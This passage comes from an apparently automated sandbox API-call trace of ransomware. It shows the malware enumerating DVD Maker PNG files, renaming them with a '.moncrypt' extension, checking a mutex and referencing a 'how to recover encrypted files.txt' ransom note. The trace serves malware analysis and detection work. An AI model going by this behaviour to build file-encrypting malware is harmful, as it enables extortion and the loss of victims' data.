dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", cchWideChar=98, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.pngt", lpUsedDefaultChar=0x0) returned 98 [0058.502] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.502] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.502] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.502] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.502] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.503] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.503] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.503] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.503] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.503] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.503] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.503] GlobalUnlock (hMem=0x440004) returned 0 [0058.503] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.503] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.503] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.503] GlobalUnlock (hMem=0x440004) returned 0 [0058.503] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.503] GlobalUnlock (hMem=0x44000c) returned 0 [0058.503] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.504] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", cchWideChar=93, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 93 [0058.505] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.505] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.505] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.505] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.505] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.506] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.506] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.506] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.506] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.506] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.506] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.506] GlobalUnlock (hMem=0x44000c) returned 0 [0058.506] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.506] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.506] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.506] GlobalUnlock (hMem=0x44000c) returned 0 [0058.507] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.507] GlobalUnlock (hMem=0x440004) returned 0 [0058.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.507] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.507] WideCharToMultiByte (in: 